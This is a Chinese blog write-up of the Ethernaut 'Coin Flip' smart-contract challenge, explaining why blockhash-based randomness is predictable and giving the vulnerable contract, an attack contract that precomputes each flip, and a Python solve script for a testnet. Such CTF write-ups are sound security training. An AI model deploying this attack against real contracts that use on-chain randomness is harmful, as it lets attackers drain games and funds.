Ethernaut 部分题目Writeup

这篇文章已鸽,不再更新。

前言

Ethernaut是新手入门以太坊智能合约安全的首选刷题平台,前半部分题目比较简单,都是一些基础操作,网上现成的Writeup也很多,但后半部分题目更具有代表性实际意义,值得详细分析和记录解题过程,这篇文章主要对这里面比较经典的题目进行分析讲解。

解题脚本依赖Poseidon_Blockchain,由于Ethernaut的题目合约Solidity版本只有0.6.0,而其内部引用的一些openzeppelin库版本已经更新到0.8.0以上,所以在解题时我会在不改变题目原意的情况下,适当修改题目合约代码中的solidity版本要求,以便能够题目合约能够顺利编译及实例化。

3.Coin Flip

题目详情

  • This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

解答

通关的条件是consecutiveWins的值大于等于10,而增加它的值的唯一办法是连续猜对随机结果10次。根据flip函数,blockValue的值是上一个区块的块哈希,若它除以FACTOR1sidetrue,余0sidefalse,我们输入的_guessside相等时代表猜对了。

这题体现出的是随机数漏洞,在链上要想获得真正的随机数是一件十分困难的事情(可以使用预言机,但过程也并不简便),以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着它没有任何的不确定性更一般地说,在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被矿工所控制的变量,如区块哈希值,时间戳,区块高低或是Gas上限等作为随机数的熵源,产生的随机数并不安全,因为其他人也可以获取到这些值,并根据同样的方法生成所谓的随机数,从而攻击那些不安全的合约函数。

综上分析,我们只需编写一个攻击合约,根据flip函数生成随机数的方法,提前计算出side的值,再在同一个区块内调用题目合约的flip函数,就能实现百猜百中。

微调后的题目合约CoinFlip.sol代码:

pragma solidity ^0.8.0;

import "./openzeppelin/contracts/utils/math/SafeMath.sol";

contract CoinFlip {
    using SafeMath for uint256;
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

攻击合约Hacker.sol代码:

pragma solidity ^0.8.0;

import "./CoinFlip.sol";

contract Hacker {
    using SafeMath for uint256;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {}

    function hack(address target) public {
        CoinFlip c = CoinFlip(target);
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        c.flip(side);
    }
}

解题脚本solve.py代码:

from Poseidon.Blockchain import *
from loguru import logger
import time

# 日志
logger.add('CoinFlip_{time}.log')

# 配置Solidity版本
BlockchainUtils.SwitchSolidityVersion("0.8.0")

# 连接至链
chain = Chain("https://rinkeby.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161")

# 使用私钥导入账户
account = Account(chain, "<Your Private Key>")

# 题目合约地址规范化
exerciseContractAddress = Web3.toChecksumAddress("<Exercise Contract Address>")

# 编译题目合约
abi, bytecode = BlockchainUtils.Compile("CoinFlip.sol", "CoinFlip")

# 实例化题目合约
exerciseContract = Contract(account, exerciseContractAddress, abi)

# 编译攻击合约
abi, bytecode = BlockchainUtils.Compile("Hacker.sol", "Hacker")

# 部署攻击合约
data = account.DeployContract(abi, bytecode)
hackerAddress, hacker = data["ContractAddress"], data["Contract"]

# 调用十次攻击合约
i = 0
while i < 10:
    try:
        temp = hacker.CallFunction(0,"hack", exerciseContractAddress)
        if temp[1] != 0:
            i += 1
    except:
        print("[Error]Waiting for next block.")
        time.sleep(5)

# 获取题目解出状态
exerciseContract.ReadOnlyCallFunction("consecutiveWins")

logger.success("Execution completed.")

脚本运行结果:

1

可以看到我们猜对的次数已经达到了10,到Ethernaut中提交即可。

2


暂无留言

发表留言